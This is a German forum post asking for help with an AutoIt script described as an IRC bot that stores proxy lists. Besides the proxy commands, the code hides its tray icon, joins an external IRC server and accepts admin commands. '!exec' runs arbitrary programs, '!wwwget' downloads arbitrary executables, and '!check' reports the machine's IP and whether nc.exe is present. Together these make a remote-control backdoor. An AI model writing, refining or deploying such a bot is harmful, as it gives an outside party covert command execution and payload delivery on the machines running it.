hi
Das Skript ist ein IRC Bot, der die Proxys die man ihm gibt in eine txt einspeichert und auf wunsch wieder ausgibt.
Ich denke das mein Skript nicht sehr schön geschrieben ist und auch nicht sehr optimiert/schnell ist. Mich würde es sehr freuen wenn iht mir dabei helfen könntet.
Spoiler anzeigen
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.2.12.1
Author: bjoerni
Script Function:
IRC-Proxy-BOT
#ce ----------------------------------------------------------------------------
;~ if ProcessExists(@ScriptName) Then Exit
FileChangeDir (@ScriptDir)
#NoTrayIcon
#include <IRC.au3>
#Include <File.au3>
#Include <String.au3>
#Include <Array.au3>
#include <Constants.au3>
#include <Process.au3>
#include <INet.au3>
global $irc_nick="IRC-PROXYBOT",$irc_adminnick="admin",$irc_server="hell.lost-souls.org",$irc_port="6667",$irc_chan="#testchannelproxy",$sock,$irc_connectet,$proxys[1],$split2[1]
_initate()
if FileExists("proxys") Then
_FileReadToArray("proxys",$proxys)
EndIf
While 1
$recv = TCPRecv($sock, 8192)
;~ If @error Then _restart()
Local $sData = StringSplit($recv, @CRLF)
For $i = 1 To $sData[0] Step 1
;~ if $sData[$i] <> "" Then
;~ _FileWriteLog("irc.txt",$sData[$i])
;~ EndIf
Local $sTemp = StringSplit($sData[$i], " ")
If $sTemp[1] = "" Then ContinueLoop
If $sTemp[1] = "PING" Then _IRCPing($sock, $sTemp[2])
if $sTemp[0] >= "2" Then
If $sTemp[2] = "PRIVMSG" Then
If StringInStr($sTemp[3],"#") Then
if UBound($sTemp) = 5 Then
If $sTemp[4] = ":!proxyhelp" Then
$name = _StringBetween($sTemp[1],":","!")
_IRCSendMessage ($sock, "_________________________________________", $name[0])
_IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $name[0])
_IRCSendMessage ($sock, "| !list- list al entrys |", $name[0])
_IRCSendMessage ($sock, "| !add - add a entry |", $name[0])
_IRCSendMessage ($sock, "| !add ip:port http/socks land geschw |", $name[0])
_IRCSendMessage ($sock, "| !del - del a entry |", $name[0])
_IRCSendMessage ($sock, "| Befehle nur über Query |", $name[0])
_IRCSendMessage ($sock, "|_______________________________________|", $name[0])
EndIf
EndIf
if UBound($sTemp) = 6 Then
If $sTemp[5] = ".OysN19p1jJ/kcC9I1NpxDs1" or $sTemp[5] = "!proxyhelp" Then
$name = _StringBetween($sTemp[1],":","!")
_IRCSendMessage ($sock, "_________________________________________", $name[0])
_IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $name[0])
_IRCSendMessage ($sock, "| !list- list al entrys |", $name[0])
_IRCSendMessage ($sock, "| !add - add a entry |", $name[0])
_IRCSendMessage ($sock, "| !add ip:port http/socks land geschw |", $name[0])
_IRCSendMessage ($sock, "| !del - del a entry |", $name[0])
_IRCSendMessage ($sock, "| Befehle nur über Query |", $name[0])
_IRCSendMessage ($sock, "|_______________________________________|", $name[0])
EndIf
EndIf
Else
If $sTemp[3] = $irc_nick Then
$temp = _StringBetween($sTemp[1],":","!")
if $temp <> "0" Then
if $temp[0] = $irc_adminnick or $temp[0] = "admin2" Then
Select
Case $sTemp[4] = ":!del"
if UBound($sTemp) = 6 Then
_ArrayDelete($proxys,$sTemp[5])
_FileWriteFromArray("proxys",$proxys,1,0)
Else
_IRCSendMessage ($sock, "_________________________________________", $temp[0])
_IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $temp[0])
_IRCSendMessage ($sock, "| !del number of entry |", $temp[0])
_IRCSendMessage ($sock, "|_______________________________________|", $temp[0])
EndIf
Case $sTemp[4] = ":!exit"
_IRCSendMessage($sock, "Exit by Admin ("&$irc_adminnick&")", $irc_chan)
_IRCQuit($sock, "Wir werden uns wiedersehen")
Exit
;~ Case $sTemp[4] = ":!restart"
;~ _restartbyadm()
Case $sTemp[4] = ":!check"
if InetGetSize("http://www.google.de/intl/de_de/images/logo.gif") <> "0" Then _IRCSendMessage ($sock, "Inet funzt", $irc_adminnick)
if FileExists("nc.exe") Then _IRCSendMessage ($sock, "NC.exe exits", $irc_adminnick)
_IRCSendMessage ($sock, "IP: "&_GetIP(), $irc_adminnick)
Case $sTemp[4] = ":!exec"
if $sTemp[0]>="5" Then
$temp=""
for $i =6 to $sTemp[0]
$temp=$temp&" "&$sTemp[$i]
Next
_IRCSendMessage ($sock, "Exec "&$sTemp[5]&" "&$temp, $irc_adminnick)
$temp1=ShellExecute($sTemp[5],$temp)
_IRCSendMessage ($sock, $temp1, $irc_adminnick)
Else
_IRCSendMessage ($sock, "CMD: !exec exe.exe [args]", $irc_adminnick)
EndIf
Case $sTemp[4] = ":!wwwget"
if $sTemp[0]="6" Then
if @InetGetActive = 1 Then
_IRCSendMessage ($sock, "Es ist schon ein Download aktiv", $irc_adminnick)
_IRCSendMessage ($sock, "Tippe !wwwgetabort zum abrechen", $irc_adminnick)
Else
$wwwsize=InetGetSize($sTemp[5])
if $wwwsize <> 0 Then
_IRCSendMessage ($sock, "WWW Get: "&$sTemp[5], $irc_adminnick)
_IRCSendMessage ($sock, "Name: "&$sTemp[6], $irc_adminnick)
_IRCSendMessage ($sock, "Size: "&$wwwsize, $irc_adminnick)
InetGet($sTemp[5],$sTemp[6], 1, 1)
$inetact = 1
Else
_IRCSendMessage ($sock, "Falsche URL", $irc_adminnick)
EndIf
EndIf
Else
_IRCSendMessage ($sock, "CMD: !wwwget url.de/lol.exe lol.exe", $irc_adminnick)
EndIf
Case $sTemp[4] = ":!wwwgetstatus"
if $sTemp[0]="4" Then
If @InetGetActive = 1 Then
$temp1 = Execute(100/$wwwsize)
$temp1 = Execute($temp1*@InetGetBytesRead)
_IRCSendMessage ($sock, "WWW Get: "&$temp1&"%", $irc_adminnick)
Else
_IRCSendMessage ($sock, "Kein Download aktiv", $irc_adminnick)
EndIf
EndIf
Case $sTemp[4] = ":!wwwgetabort"
If @InetGetActive = 1 Then
InetGet("abort")
_IRCSendMessage ($sock, "Download abgebrochen", $irc_adminnick)
$inetact = 0
Else
_IRCSendMessage ($sock, "Kein Download aktiv", $irc_adminnick)
EndIf
EndSelect
EndIf
Select
Case $sTemp[4] = ":!list"
_IRCSendMessage ($sock, "__Proxys:__", $temp[0])
For $i = 1 to UBound($proxys)-1
$split = StringSplit($proxys[$i],"|")
if StringInStr($split[1],":") Then
$split2 = StringSplit($split[1],":")
Else
$split2[1] = $split[1]
EndIf
$var = Ping($split2[1],500)
if @error Then
$msg = "OFFLINE"
Else
$msg = "ONLINE"
EndIf
_IRCSendMessage ($sock,"#"&$i&" "&$split[1]&" "&$split[2]&" "&$split[3]&" "&$split[4]&" "&$msg, $temp[0])
Next
_IRCSendMessage ($sock, "__ENDE__", $temp[0])
Case $sTemp[4] = ":!add"
if UBound($sTemp) >= 8 Then
_ArrayAdd($proxys,$sTemp[5]&"|"&$sTemp[6]&"|"&$sTemp[7]&"|"&$sTemp[8])
_FileWriteFromArray("proxys",$proxys,1,0)
Else
_IRCSendMessage ($sock, "_________________________________________", $temp[0])
_IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $temp[0])
_IRCSendMessage ($sock, "| !add ip:port http/socks land geschw |", $temp[0])
_IRCSendMessage ($sock, "|_______________________________________|", $temp[0])
EndIf
Case $sTemp[4] = ":!help"
_IRCSendMessage ($sock, "_________________________________________", $temp[0])
_IRCSendMessage ($sock, "|----------ProxyBOT by Bjoerni----------|", $temp[0])
_IRCSendMessage ($sock, "| !list- list al entrys |", $temp[0])
_IRCSendMessage ($sock, "| !add - add a entry |", $temp[0])
_IRCSendMessage ($sock, "| !add ip:port http/socks land geschw |", $temp[0])
_IRCSendMessage ($sock, "| !del - del a entry |", $temp[0])
_IRCSendMessage ($sock, "|_______________________________________|", $temp[0])
;~ Case Else
;~ _IRCSendMessage ($sock, "Unkown Cmd", $temp[0])
;~ _IRCSendMessage ($sock, "Try !help", $temp[0])
EndSelect
EndIf
EndIf
EndIf
EndIf
EndIf
If $sTemp[0] <= 2 Then ContinueLoop
Next
WEnd
Func _initate()
TCPStartup ()
$sock = _IRCConnect($irc_server, $irc_port, $irc_nick)
While 1
$recv = TCPRecv($sock, 8192)
If @error Then Exit
Local $sData = StringSplit($recv, @CRLF)
For $i = 1 To $sData[0] Step 1
;~ if $sData[$i] <> "" Then
;~ _FileWriteLog("irc.txt",$sData[$i])
;~ EndIf
Local $sTemp = StringSplit($sData[$i], " ")
If $sTemp[1] = "" Then ContinueLoop
If $sTemp[1] = "PING" Then _IRCPing($sock, $sTemp[2])
If $sTemp[0] <= 2 Then ContinueLoop
Switch $sTemp[2]
Case "266"
_IRCJoinChannel ($sock, $irc_chan)
_IRCChangeMode ($sock, "+i", $irc_nick)
$irc_connectet = 1
ExitLoop(2)
EndSwitch
Next
WEnd
EndFunc
Func _restart()
If @Compiled = 1 Then
Run( FileGetShortName(@ScriptFullPath))
Else
Run( FileGetShortName(@AutoItExe) & " " & FileGetShortName(@ScriptFullPath))
EndIf
Exit
EndFunc
https://autoit.de/index.php?page…900316e4cc50976
https://autoit.de/index.php?page…c446da530f51d8a
mfg bjoerni